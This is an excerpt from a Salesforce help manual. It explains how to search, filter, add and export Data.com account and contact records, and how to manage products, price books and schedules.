Finding and Adding Accounts from Data.com Finding and Adding Contacts from Data.com Adding Data.com Contacts as Leads

Finding and Adding Accounts from Data.com

2298

Data.com (Formerly Jigsaw)

Finding and Adding Accounts from Data.com

Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

User Permissions Needed To add accounts from Data.com: Create on accounts

Search Data.com for accounts then add the records you want to Salesforce. Search by company, location, or industry, then use filters as needed to further refine your results. 1. 2. 3. 4. Click the Data.com tab. Click Find Accounts. Enter or select your search criteria. Click Search Data.com. Your search results appear. They're sorted by number of active contacts. If you've already added an account to Salesforce, you'll see an icon that tells you so: . Tip: Click the account name to see the account carda handy summary of account information. To show records that have been flagged as inactive, under Options, select the Show Inactive Records checkbox. Inactive records are marked with an icon:

5. If the results list is long, you can: Sort the results by any table heading Jump to a page by entering a number in the Page field Click the arrows to move from page to page.

6. If you don't see what you're looking for, use filters to narrow your results. Expand filter categories as needed, and select the checkbox next to each filter you want to apply. Note: If you want to start a new search, just click Reset Search to clear all of your search criteria and filters.

7. Add all accounts or a selection to Salesforce. To add all accounts, click Add to Salesforce and select All. To add selected accounts, select the ones you want, then click Add to Salesforce and choose Selected.

Adding more than 200 records can take a few minutes. If you add that many, we'll send you an email when the process is complete.

2299

Data.com (Formerly Jigsaw)

Finding and Adding Contacts from Data.com

8. From the confirmation message, click Go to Accounts to view the list of new records on the Accounts home page.

See Also:
Data.com Overview Understanding Data.com Searches Data.com Fields and Filters Exploring Data.com Accounts from the Account Card Exporting Data.com Account Records

Finding and Adding Contacts from Data.com


Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

User Permissions Needed To add contacts from Data.com: To add Data.com contacts from an account: Create on contacts Read on accounts AND Create on contacts

Search Data.com for contacts and filter your results if you need to. Use email and phone to start making connections, or add the contacts to Salesforce as leads. If you want to get contacts for a specific account, start there and generate a list on the Data.com tab. Add the contacts you want to Salesforce, and they're automatically associated with the account. Getting Data.com Contacts from an Account Finding Data.com Contacts from the Data.com Tab

See Also:
Finding and Adding Accounts from Data.com Adding Data.com Contacts as Leads Exploring Data.com Contacts from the Contact Card Understanding Data.com Searches Exporting Data.com Contact Records Data.com Fields and Filters

Exploring Data.com Accounts from the Account Card

2300

Data.com (Formerly Jigsaw)

Exploring Data.com Accounts from the Account Card

Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

User Permissions Needed To search Data.com for accounts: No permissions required

From a list of Data.com account search results, you can view any account's account card. Use the account card to research the account, or use it to find contacts at the account by level or department. To view an account card, just click its name in the list of search results.

Here are your options. 1. 2. 3. 4. Get address and phone information plus a link to the company's web site. View demographic and financial data. Search for the account on Google or Data.com. See the account's contact breakdown by level. Click a number to find the account's contacts at that level on the Data.com tab. 5. See the account's contact breakdown by department. Click a number to find the account's contacts in that department on the Data.com tab.

See Also:
Finding and Adding Accounts from Data.com

2301

Data.com (Formerly Jigsaw)

Finding Data.com Contacts from the Data.com Tab

Finding Data.com Contacts from the Data.com Tab


Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

User Permissions Needed To search Data.com for contacts: No permissions required

Want to search for contacts across multiple companies, locations, or industries? Start from the Data.com tab. You can add contacts you find as leads. Note: If you want to add Data.com contacts for a specific account, you need to start your search from that account's detail page. 1. 2. 3. 4. Click the Data.com tab. Click Find Contacts. Enter or select your search criteria. Click Search Data.com. Your search results appear. They're sorted alphanumerically. If you've already added a contact (as a contact or a lead) to Salesforce, you'll see an icon that tells you so: . You can't re-add that record. Tip: Click the contact's name to see the contact carda handy summary of account information. To show records that have been flagged as inactive, under Options, select the Show Inactive Records checkbox. Inactive records are marked with an icon: .

5. If the results list is long, you can: Sort the results by any table heading Jump to a page by entering a number in the Page field Click the arrows to move from page to page Sorting and page navigation only work for lists of fewer than 100,000 records. 6. If you don't see what you're looking for, use filters to narrow your results. Expand filter categories as needed, and select the checkbox next to each filter you want to apply. The list is updated automatically with every filter you apply. Note: If you want to start a new search, just click Reset Search to clear all of your search criteria and filters.

2302

Data.com (Formerly Jigsaw)

Getting Data.com Contacts from an Account

7. Sort the list if you need to, and start making connections. Phone and email make it easy.

See Also:
Getting Data.com Contacts from an Account Adding Data.com Contacts as Leads Exporting Data.com Contact Records Data.com Fields and Filters

Getting Data.com Contacts from an Account


Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

User Permissions Needed To get Data.com contacts from an account: Read on accounts AND Create on contacts

Need contacts for an account? Get them from Data.com with the click of a button on the account's detail page. 1. Go to the detail page of the account you want to add contacts for. 2. Click Get Contacts. From the drop-down, either: Select a filter to narrow your results by level or department, or Select All... to see all contacts for the account.

The Data.com tab opens and displays a list of contacts that match the account name and any filters you selected. For example, if you want to get manager contacts at Universal Telco, go to Universal Telco's account detail page. Click Get Contacts and under By Level, select the Manager-Level filter. The Data.com tab opens with a list of managers at Universal Telco. 3. Select more filters if you need a more targeted list. Expand filter categories as needed, and select the checkbox next to each filter you want to apply. 4. Add all contacts or a selection to Salesforce. To add all contacts, click Add to Salesforce. To add selected contacts, first select the ones you want, then click Add to Salesforce and choose Selected.

You'll get a confirmation message showing the number of contacts you're adding. 5. Select Contacts to add the records as contacts. associated with the account you started from. They'll be associated with the account you started from.

2303

Data.com (Formerly Jigsaw)

Adding Data.com Contacts as Leads

6. Click Go to Account to view your new contacts on the account record.

See Also:
Finding Data.com Contacts from the Data.com Tab Exporting Data.com Contact Records Data.com Fields and Filters

Adding Data.com Contacts as Leads


Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

User Permissions Needed To add Data.com contacts as leads: Create on leads

Need leads? Get them from Data.com. First search for contacts, then add the contacts you want to Salesforce as leads. 1. 2. 3. 4. Search for contacts. Select the contacts you want to add and click Add to Salesforce. Select Leads to add the records as leads and click Continue. Click Go to Leads to view the list of new records on the Leads home page.

See Also:
Finding and Adding Contacts from Data.com Data.com Fields and Filters Exporting Data.com Contact Records

Exploring Data.com Contacts from the Contact Card


Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

User Permissions Needed To search Data.com for contacts: No permissions required

From your Data.com contact search results, you can view any contact's contact card. Use the contact card to research a contact, do social networking, or find the address of the organization where the contact works. To view a contact card, just click the contact's name in the list of search results.

2304

Data.com (Formerly Jigsaw)

Understanding Data.com Searches

Here are your options. 1. Get the contact's title, address, phone, and email. 2. Get the name and address of the company the contact works for. 3. Search for the contact on Google, LinkedIn, or Data.com.

See Also:
Finding Data.com Contacts from the Data.com Tab

Understanding Data.com Searches


Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

Searching Data.com for CRM records is simple. Start your search by entering search criteria in the fields on the Data.com tab. You can also use search modifiers to target and narrow your search results. Depending on your entries and selections, you may end up with a large list of accounts or contacts. To find out how many, check the results list's header or footer. Click the Reset Search link if you need to clear all your entries and selections. You'll see your search results until you start a new search or refresh your browser page. Once you have a set of records, you can narrow your list by using filters if you need to. Just look for the filter categories at the left of the page, and select the checkboxes for the filters you need. Some searches generate filter options that are specific to your results. For example, if you want leads in Healthcare, Pharmaceuticals & Biotech industryspecifically Doctors & Health Care Practitionersthe list of filters in the Title category might include Doctor, Chiropractor, Dentist, and Office Manager. For searches that generate a large list of results for Title, Company Name, and Website Domain Type filters, we show the 25 filters with the most search results. To see a shorter list of filters, narrow your initial search. Some filter categories are expanded automatically when you run a search, but you can click the links at the top of the Filters panel to expand or collapse them all. As you select filters, the search results list is updated automatically. For example, if you search for contacts from your IBM account detail page, the Data.com tab will open and automatically enter IBM's URL, www.ibm.com, in the Company or Website field on the Find Contacts subtab. The search will generate a list of thousands of IBM contacts all over the world. That's probably more than you need, so you can either: Refine your initial search by selecting location criteria (such as Australia or United States) or industry options (like Computers & Electronics or Financial Services)

2305

Data.com (Formerly Jigsaw)

Using Data.com Search Modifiers

Narrow your search results list by selecting filters such as Human Resources, C-Level, or Program Manager or Select IBM in the Company Name filter category.

By refining your search criteria and filtering your results, you can narrow your list from more than 30,000 contacts to the 25 or so you want to call or email.

See Also:
Data.com Fields and Filters Using Data.com Search Modifiers

Using Data.com Search Modifiers


Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

User Permissions Needed To search Data.com for accounts: To search Data.com for contacts: No permissions required No permissions required

When searching for Data.com accounts and contacts, you can use modifiers to target and narrow your search results. Here's how modifiers work, field by field.

Company or Website
To search for or exclude multiple companies, separate them with commas: ,. For example, salesforce.com,Apple returns results for both salesforce.com and Apple (for example, Apple Computer, Inc. and Apple Inc.), or either one, depending on Data.com data. To search for the exact name of a company, type the name within quotation marks: . For example, "Apple, Inc." returns only results with the exact company name Apple, Inc. To exclude a company from your results, before the company name, type a minus sign before its name: . For example, Oracle returns a list of results that excludes Oracle. For company names with more than one word, after the minus sign, type the first part of the name. . For example, Adobe returns a list of results that excludes Adobe Systems. You can also use mixed search modifiers. For example, salesforce, Microsoft, GE Healthcare returns all results including salesforce (for example, salesforce and salesforce.com, inc.); it excludes all results containing Microsoft; and it finds GE Healthcare but not GE Health Care.

Title, Name, or Email


To search for results for an individual element in this fieldjust Title, just Name, or just Emailtype that element followed by a colon (:) and a space, then type the title, name, or email you're looking for. For example, title: Vice President returns results with only the Vice President title. Name: Marc Benioff returns results with only the name Marc Benioff. Email: marcbenioff@salesforce.com returns results with only the email address marcbenioff@salesforce.com. Modifiers will not work if you don't include title: , name: or email: ., and you can't mix and match these modifiers (for example, using title: and name: in the same search). To search for multiple titles, names, or emails, separate them with commas: ,. To search for exact titles, names, or emails, type them within quotation marks: .

2306

Data.com (Formerly Jigsaw)

Saving Data.com Searches

To exclude a title, name, or email from your results, before the element, type a minus sign: .

ZIP Code
To search for multiple ZIP codes, separate them with commas: ,. For example, 94105,94122 returns results for both 94105 and 94122, or either one, depending on Data.com data. To exclude a ZIP code from your results, before the ZIP code, type a minus sign: . For example, 94122 returns a list of results that excludes 94122.

Area Code
To search for multiple area codes, separate them with commas: ,. For example, 312,708 returns results for both 312 and 708, or either one, depending on Data.com data. To exclude an area code from your results, before the area code code, type a minus sign: . For example, 708 returns a list of results that excludes 708. To find area codes outside the United States and Canada, you need to add the country calling code as a prefix before the area code. For example, the United Kingdom's country calling code is 44, and London's area code is 20, so to find accounts or contacts in London by area code, you would enter 4420 in the Area Code field. Here's a list of country codes you might need to use. Australia: 61 Brazil: 55 India: 91 Ireland: 353 New Zealand: 64 Singapore: 65 South Africa: 27 United Kingdom: 44

See Also:
Understanding Data.com Searches Data.com Fields and Filters

Saving Data.com Searches


Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

User Permissions Needed To save a Data.com search: No permissions required

Need to run a specific Data.com search on a regular basisto find new contacts for your favorite accounts, or new leads for your target markets? You can. Just create a search and save it and you can run it again as often as you like. Note that saving a search does not save a static list of results. It saves the criteria and filters you define, so when you rerun the search, you can find

2307

Data.com (Formerly Jigsaw)

Using Jigsaw Reports and Dashboards

the latest matching records. Saved searches are listed to the left of the search tabs, with the most recently run saved search at the top. You can always modify the search criteria or filters after you run a saved search. If you save the search again, you'll get the option to rename it. 1. Start from the tab for the kind of records you want: contacts or accounts. 2. Enter your search criteria, and filter your results if you need to. 3. Click Save Search. The name of the save search appears in the Saved Search list. 4. To rerun your saved search, just select its name from the Saved Searches list. 5. If you need to delete a saved search, click Delete ( ) next to its name.

Using Jigsaw Reports and Dashboards


Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

User Permissions Needed To run Data.com reports: Run reports

The Jigsaw Reports AppExchange package offers eight preconfigured reports and a corresponding impact dashboard. Use these tools to instantly see the impact of Data.com data on your leads, forecast, and revenue. This table describes each report. Report Forecast for Jigsaw-Sourced Opps No. Contacts from Jigsaw No. Converted Leads from Jigsaw No. Leads from Jigsaw Percentage Converted Leads from Jigsaw Percentage Sales Forecast from Jigsaw Percentage Sales Revenue from Jigsaw Revenue from Jigsaw-Sourced Opps Description What is the sales forecast from open opportunities with data added from Data.com? How many contacts have been added from Data.com? Grouped by date and creator. How many converted leads were sourced from Data.com? How many leads have been added from Data.com? Grouped by date and creator. What percentage of converted leads were sourced from Data.com? What percentage of my sales forecast comes from records imported from Data.com? What percentage of my sales revenue came from records imported from Data.com? What is the sales revenue amount from closed-won opportunities with data added from Data.com?

To run any Jigsaw report, just click the Reports tab, expand the Jigsaw list, and select the one you want.

2308

Data.com (Formerly Jigsaw)

Data.com Fields and Filters

To view Jigsaw reports as dashboards, just click the Dashboards tab. In the View Dashboards drop-down, under Jigsaw, select Jigsaw Impact.

See Also:
Data.com Fields and Filters

Data.com Fields and Filters


Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

Data.com Contact Search Fields


Field
Company or Website

Definition The name of the company you want to find contacts for or the URL of its website. For URLs, use the format companyname.domaintype; for example, universaltelco.com. Don't enter protocols, such as http: or https:. You can use search modifiers on page 2306 in this field to target and narrow your results.

Title, Name, or Email

The title, name, or email address of a specific contact. You can use search modifiers on page 2306 in this field to target and narrow your results. A drop-down that lets you select location criteria, such as country, state, and metro area. The country or countries where you want to find a list of contacts or where a specific contact works. The state or states, if any, where you want to find a list of contacts or where a specific contact works. You must select a single country first. Not all countries have states. The metro area or areas, if any, where you want to find a list of contacts or where a specific contact works. Metro areas are only available for the United States. You can't use state and metro area together in a search. The ZIP or postal code(s) where you want to find a list of contacts or where a specific contact works. Separate multiple ZIP codes with commas. The area code(s) where you want to find a list of contacts or where a specific contact works. Separate multiple area codes with commas. To find area codes outside the United States and Canada, you need to add the country calling code as a prefix before the area

Location

Country State

Metro Area

ZIP Code

Area Code

2309

Data.com (Formerly Jigsaw)

Data.com Fields and Filters

Field

Definition code. For example, the United Kingdom's country calling code is 44, and London's area code is 20, so to find accounts or contacts in London by area code, you would enter 4420 in the Area Code field. Here's a list of country codes you might need to use. Australia: 61 Brazil: 55 India: 91 Ireland: 353 New Zealand: 64 Singapore: 65 South Africa: 27 United Kingdom: 44

Industry

The industry or industries for which you want to find contacts. For example, Healthcare, Pharmaceuticals & Biotech. One or more sub-industries of the selected industry. For example, if the selected industry is Healthcare, Pharmaceuticals & Biotech, subindustries include Biotechnology, Medical Devices, and Veterinary Clinics & Services. If more than one industry is selected, you can't select a sub-industry.

Sub-Industry

Data.com Contact Filter Categories


Filter Category
Options

Definition The Show Inactive Records checkbox lets you show or hide inactive records. Inactive records are those flagged in Data.com as containing old or inaccurate information. Inactive records are hidden by default. Note: When a record has been cleaned, the Data.com section on its detail page may show a status of Graveyarded. It means the same thing as Inactive.

Company Name

A list of companies found in your initial search results. For example, if you search for a contact named William Chen, all companies that have contacts named William Chen are listed. For searches that generate a large list of results, we show the 25 filters with the most results. To see a shorter list, narrow your initial search. A list of typical departments within organizations.

Department

2310

Data.com (Formerly Jigsaw)

Data.com Fields and Filters

Filter Category
Level Title

Definition A list of typical levels within organizations. A set of titles found in your initial search results. For example, if you search for contacts in the Healthcare, Pharmaceuticals & Biotech industry and Doctors & Health Care Practitioners sub-industry, the list of title filters might include Chiropractor, Dentist, and Office Manager. For searches that generate a large list of results, we show the 25 filters with the most results. To see a shorter list, narrow your initial search. A list of ranges for the number of employees within an organization. A list of ranges for an organization's yearly revenue. A list of organization ownership types, such as Public, Private, and Government. A list of website domain types, such as .com, .org, and so on. For searches that generate a large list of results, we show the 25 filters with the most results. To see a shorter list, narrow your initial search.

Employees

Revenue Ownership

Website Domain Type

Data.com Account Search Fields


Field
Company or Website

Definition The name of a company or the URL of its website. For URLs, use the format companyname.domaintype; for example, universaltelco.com. Don't enter protocols, such as http: or https:. You can use search modifiers on page 2306 in this field to target and narrow your results.

Location

A drop-down that lets you select location criteria, such as country, state, and metro area. The country or countries where you want to find a list of companies or where a specific company is located. The state or states, if any, where you want to find a list of companies or where a specific company is located. You must select a single country first. Not all countries have states. The metro area or areas, if any, where you want to find a list of companies or where a specific company is located. You must select a country first.

Country State

Metro Area

2311

Data.com (Formerly Jigsaw)

Data.com Fields and Filters

Field
ZIP Code

Definition The ZIP or postal code(s) where you want to find a list of companies or where a specific company is located. Separate multiple ZIP codes with commas. The area code(s) where you want to find a list of companies or where a specific company is located. Separate multiple area codes with commas. To find area codes outside the United States and Canada, you need to add the country calling code as a prefix before the area code. For example, the United Kingdom's country calling code is 44, and London's area code is 20, so to find accounts or contacts in London by area code, you would enter 4420 in the Area Code field. Here's a list of country codes you might need to use. Australia: 61 Brazil: 55 India: 91 Ireland: 353 New Zealand: 64 Singapore: 65 South Africa: 27 United Kingdom: 44

Area Code

Industry

The industry or industries for which you want to find companies. For example, Healthcare, Pharmaceuticals & Biotech. A sub-industry of the selected industry. For example, if the selected industry is Healthcare, Pharmaceuticals & Biotech, subindustries include Biotechnology, Medical Devices, and Veterinary Clinics & Services. If more than one industry is selected, you can't select a sub-industry.

Sub-Industry

Data.com Account Filter Categories


Filter Category
Options

Definition The Show Inactive Records checkbox lets you show or hide inactive records. Inactive records are those flagged in Data.com as containing old or inaccurate information. Inactive records are hidden by default. Note: When a record has been cleaned, the Data.com section on its detail page may show a status of Graveyarded. It means the same thing as Inactive.

2312

Data.com (Formerly Jigsaw)

Using Data.com Clean

Filter Category
Employees

Definition A list of ranges for the number of employees within an organization. A list of ranges for an organization's yearly revenue. A list of organization ownership types, such as Public, Private, and Government. A list of website domain types, such as .com, .org, and so on. For searches that generate a large list of results, we show the 25 filters with the most results. To see a shorter list, narrow your initial search.

Revenue Ownership

Website Domain Type

See Also:
Exporting Data.com Account Records Exporting Data.com Contact Records Data Loader Overview Understanding Data.com Searches Using Data.com Search Modifiers

Using Data.com Clean


Available in: Developer, Enterprise, Professional, and Unlimited Editions

User Permissions Needed To clean account records: To clean contact records: To clean lead records: Edit on accounts Edit on contacts Edit on leads

If you're using Data.com in Salesforce and need to update account, contact, and lead records, you can use the Jigsaw for Salesforce AppExchange package, also known as Jigsaw Clean. For complete instructions, see Using Data.com Clean in Salesforce.

Exporting Data.com Account Records

2313

Data.com (Formerly Jigsaw)

Exporting Data.com Account Records

Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

User Permissions Needed To export Data.com accounts records: Read on accounts

If you want to work with Data.com account records in other programs, you can export them from your search results on the Data.com tab. Exporting creates a comma-separated value (.csv) file that you can open in Microsoft Excel or any program that supports .csv format. Be aware of these requirements and restrictions when exporting records sourced from Data.com. If you export Data.com contacts or accounts instead of adding them to Salesforce, each exported record counts against your monthly contact addition limit. If you export records you've already added to Salesforce or re-export contacts you previously exported, the exported records don't count against your monthly record addition limit. If you export a group of Data.com contacts, then add those same contacts to Salesforce at Leads, you are not prevented from importing those contacts back into Salesforce as contacts. You can only export as many records as your monthly addition limit allows. If exporting a number of records would exceed your limit, you'll see a message that lets you know how many record additions you have left. If you've reached your monthly record addition limit, you can't export any records. Regardless of your monthly addition limit or the number of records you have left to add, you can't export more than 50,000 records at a time. If you try, you'll get the option to either continue and export the first 50,000 from your list, or cancel and refine your list.

The account fields that are exported are:


Jigsaw (the account's Jigsaw ID) Name Website Phone BillingStreet BillingCity BillingState BillingPostalCode BillingCountry Industry NumberOfEmployees AnnualRevenue Ownership TickerSymbol

1. Start from a list of Data.com account search results. 2. Export all accounts or a selection. To export all accounts, click Export Results and choose All. To export selected accounts, select the ones you want, then click Export Results and choose Selected.

A dialog box appears. It identifies the default name of the export file: DataDotCom_Accounts.csv.

2314

Data.com (Formerly Jigsaw)

Exporting Data.com Contact Records

3. Open the file with Microsoft Excel or save it to a directory. If you open the file before saving, you'll get a read-only version. Click Save As to rename it. You can import the list of records back into Salesforce using the Data Loader. The import process checks for duplicates using the Data.com ID number from the Data.com field.

See Also:
Data.com Fields and Filters Using Jigsaw Reports and Dashboards Data Loader Overview Finding and Adding Accounts from Data.com Data.com Fields and Filters

Exporting Data.com Contact Records


Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

User Permissions Needed To export contacts: Read on contacts

If you want to work with Data.com contact records in other programs, you can export them from your search results on the Data.com tab. Exporting creates a comma-separated value (.csv) file that you can open in Microsoft Excel or any program that supports .csv format. Be aware of these requirements and restrictions when exporting records sourced from Data.com. If you export Data.com contacts or accounts instead of adding them to Salesforce, each exported record counts against your monthly contact addition limit. If you export records you've already added to Salesforce or re-export contacts you previously exported, the exported records don't count against your monthly record addition limit. If you export a group of Data.com contacts, then add those same contacts to Salesforce at Leads, you are not prevented from importing those contacts back into Salesforce as contacts. You can only export as many records as your monthly addition limit allows. If exporting a number of records would exceed your limit, you'll see a message that lets you know how many record additions you have left. If you've reached your monthly record addition limit, you can't export any records. Regardless of your monthly addition limit or the number of records you have left to add, you can't export more than 50,000 records at a time. If you try, you'll get the option to either continue and export the first 50,000 from your list, or cancel and refine your list.

The contact fields that are exported are:


Jigsaw (the contact's Jigsaw ID) FirstName LastName Title Phone Email

2315

Products

Exporting Data.com Contact Records

MailingStreet MailingCity MailingState MailingPostalCode MailingCountry AccountName NumberofEmployees AnnualRevenue

1. Start from a list of Data.com contact search results. 2. Export all contacts or a selection. To export all contacts, click Export Results and choose All. To export selected contacts, select the ones you want, then click Export Results and choose Selected.

A dialog box appears. It identifies the default name of the export file: DataDotCom_Contacts.csv. 3. Open the file with Microsoft Excel or save it to a directory. If you open the file before saving, you'll get a read-only version. Click Save As to rename it. You can import the list of records back into Salesforce using the Data Loader. The import process checks for duplicates using the Data.com ID number from the Data.com field. These records won't be imported from the Data Loader. Any record that has the same Data.com ID (from the Data.com field) as another record within the .csv file. Any record that has the same Data.com ID (from the Data.com field) as a record already in Salesforce.

See Also:
Data.com Fields and Filters Data Loader Overview Finding Data.com Contacts from the Data.com Tab Getting Data.com Contacts from an Account Data.com Fields and Filters

PRODUCTS
Products, Price Books, and Schedules Overview

2316

Products

Products, Price Books, and Schedules Overview

Available in: Professional, Enterprise, Unlimited, and Developer Editions

Products
Products are the individual items that you sell on your opportunities and quotes. You can create a product and associate it with a price in a price book. Each product can exist in many different price books with many different prices. A product that is listed in a price book with an associated price is called a price book entry. The Products related list of an opportunity detail page and the Quote Line Items related list of a quote detail page list the products for that record. Use this related list to associate a price book with the opportunity or quote, add or edit products, and, for opportunities, establish or edit product schedules.

Price Books
A price book contains products and their associated prices. Each product with its associated price is referred to as a price book entry. You can use the standard price book or create custom price books. The standard price book is automatically generated to contain a master list of all products and standard prices regardless of the custom price books that also contain them.

Schedules
You can establish default schedules on a product, as well as schedules for individual line items (opportunity products) on an opportunity Your administrator determines which types of schedules your organization can use: quantity schedules, revenue schedules, or both. Your administrator also specifies which types of schedules can be established for each separate product. Quantity ScheduleOutlines the dates, number of units, and number of installments for payments, shipping, or other use as determined by your organization. Revenue ScheduleOutlines the dates, revenue amounts, and number of installments for payments, recognizing revenue, or other use.

See Also:
Administrator tip sheet: Tips & Hints for Products and Schedules Choosing a Price Book for an Opportunity or Quote Adding Products to Opportunities Editing Products on Opportunities Sorting Products on Opportunities and Quotes Establishing Schedules on Opportunity Products Creating and Editing Default Schedules Editing Schedules Creating Price Books

Products Home

2317

Products

Products Home

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view Products tab: To view products: To create products: To view assets: To view price books: Read on products Read on products Create on products Read on assets Read on products and price books

Clicking on the Products tab displays the products home page. In the Find Products section, enter product search terms and click Find Product to search for products that match your search terms. We recommend entering a search term of at least two characters, but you can leave this field empty to display a list of all products. In the Price Books section, select a price book to view a list of products within that price book or click Create New View to define your own custom price book view. In the Product Views section, choose a list view from the drop-down list to go directly to that product list page, or click Create New View to define your own product custom view. In the Asset Views section, choose an asset list view from the drop-down list to go directly to that list page, or click Create New View to define your own custom view to list assets. To edit or delete any view you created, select it from the View drop-down list and click Edit. In the Recent Products section, select an item from the drop-down list to display a brief list of the top products matching that criteria. From the list, you can click any product to go directly to the product detail. Toggle the Show 25 items and Show 10 items links to change the number of items that display. The fields you see are determined by the Products Tab search layout defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer Editions only). The Recent Products choices are: Recent Products Choice Recently Created Description The last ten or twenty-five products created, with the most recently created product listed first. This list only includes records owned by you. The last ten or twenty-five products updated, with the most recently updated product listed first. This list only includes records owned by you.

Recently Modified

In the Recent Products section, click New to create a product. In Reports, click Go to Reports to create customized reports that include your product and price book information. Administrators and users with the appropriate permissions can click Manage Price Books to create, clone, activate, or deactivate price books.

2318

Products

Viewing Product Lists

If products are shared with external contacts via Salesforce to Salesforce, choose one of the list views under Products from Connections to view products that your business partners have shared with you.

See Also:
Products, Price Books, and Schedules Overview Displaying and Editing Products Displaying and Editing Price Books Creating Price Books Creating Products Cloning Price Books

Viewing Product Lists


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view products: To create products: To change products: Read on products Create on products Edit on products

The products list page displays a list of products in the selected view. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click a product name to view detailed information on the product. If Chatter is enabled, click or to follow or stop following a product in your Chatter feed. Click Add or select Product from the Create New drop-down list in the sidebar to create a new product. Click Edit to change product details.

Sorting List Views


Click any column heading to sort in ascending or descending order using that columns information. At the top of the list, click a letter to display the contents of the sorted column that begin with that character.

See Also:
Printing List Views Viewing Opportunity Lists

Viewing Price Book Entries


2319

Products

Viewing Price Book Entries

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view price book entries: Read on price books AND Read on products To change price book entries: Edit on price books

The Price Book list page displays a list of price book entries. From this page, you can view details of price book entries. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click Printable View to display the current list view in a format that is ready for printing. If your view contains entries from a single price book, select multiple price book entries listed and click Edit Selected to make changes to many entries at once. If you are viewing entries from a single price book, click Add to search for and add a list price and product to the price book. Click Edit to change the properties of a price book entry. Click any column heading to sort the entries in ascending order using that columns information. Click a column heading a second time to sort in descending order. At the top and bottom of the list, click a letter to display the contents of the sorted column that begin with that character. Click the Next Page or Previous Page links to go to the next or previous set of price book entries. At the bottom of the list, select fewer or more to view a shorter or longer display list.

See Also:
Creating Price Books Displaying and Editing Price Books

Managing Price Books

2320

Products

Managing Price Books

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view price books: To create price books: To clone price books: To change price books: Read on products and price books Create on price books Create on price books Edit on price books

Click Manage Price Books in the Maintenance area of the Products page to create new price books and activate or deactivate existing ones. Click any price book name listed to view details, including a list of products within that price book. From this page you can click Edit to change the properties of the price book, Clone to create a new price book with the same product entries, or change the product entries using these product links: Add allows you to add a new product entry to the price book. Edit All allows you to make changes to all product entries in the price book. Edit allows you to make changes to a single product entry. Click View to display a list of entries for the selected price book. Click New to create a new custom price book. Click View More to view a longer list of price books.

See Also:
Creating Price Books Cloning Price Books Choosing a Price Book for an Opportunity or Quote

Displaying and Editing Products

2321

Products

Displaying and Editing Products

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view products: To change products: Read on products Edit on products

Displaying Products Once you have located a product on the products home or list pages, click the name to display detailed information. If hover details are enabled, hover over any lookup field on the detail page to view key information about a record before clicking into that record's detail page. Viewing Product Updates and Comments (Chatter) Display a Chatter feed of updates, comments, and posts about the product. Editing Products Users can update a product by clicking Edit next to the product, and changing selected fields. When you have finished, click Save. Use inline editing to edit fields directly on the detail page. If inline editing isn't enabled, contact your administrator. Product Related Lists Below the product detail is information related to the product, such as standard prices, price books, assets, and entitlement templates. The related lists you see are determined by your personal customization and any customization your administrator has made to page layouts or your permissions to view related data. You can click on individual items to display additional information about them. Click more at the bottom of the page or View More below a related list to display more items. Note: Hover over the links at the top of a detail page to display the corresponding related list and its records. If Chatter is enabled, hover links display below the feed. An interactive overlay allows you to quickly view and manage the related list items. Click a hover link to jump to the content of the related list. If hover links are not enabled, contact your Salesforce administrator. Click Add in the Standard Price related list to associate a standard price (and currency if you have multiple currencies) with the product. Click Edit next to the standard price to change it or click Edit All in the Standard Price related list to make changes to all prices in any currencies listed. Click Add to Price Book in the Price Books related list to select a price book to contain the product. Click Edit All in the Price Books related list to make changes to all list prices for the product in any price book. Click the price book name to view details of the price book or click Edit next to the price book to change the list price of the product. Click New in the Assets related list to create a new asset based on the current product. Assets only display in this list if you have sharing access to the account on the asset or the account related to the contact on the asset. See Creating Assets on page 2226.

2322

Products

Displaying and Editing Price Books

Printing Products To open a printable display of the record details, in the top-right corner of the page, click Printable View. To return to the last list page you viewed, click Back to list at the top of the product detail page. If your organization has enabled collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on the detail page. See Navigating on page 14 for more information.

See Also:
Creating Products Setting Product Prices Adding Products to Opportunities Entitlement Management Overview

Displaying and Editing Price Books


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view price books: To change price books: To clone price books: Read on products and price books Edit on price books Create on price books

The standard price book is automatically generated by Salesforce to include all the products in your organization and their standard prices. Users can edit the standard price book or activate it. They can also create custom price books to include selected products and list prices. Displaying Price Books - Once you have found a price book listed on the Manage Price Books page, which is available from the products home page, click the name to display detailed information. All price book entries are listed in the Products related list. Editing Price Books - To update a price book, click Edit next to the price book name, and then change the fields that you want to update. When you have finished, click Save. Click Clone to create a new price book that contains the same products. Price Book Related Lists - Below the price book detail is a Products related list for price book entries (products and their associated prices within the price book). You can click Edit or Edit All to update price book entries or list prices. Click Add to include more products in the price book. Click more at the bottom of the page to display more items or fewer to display a shorter list. To navigate back to the last list page you viewed, click Back to list at the top of the page.

See Also:
Creating Price Books Creating Products

2323

Products

Viewing Product Updates (Chatter)

Viewing Product Updates (Chatter)


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

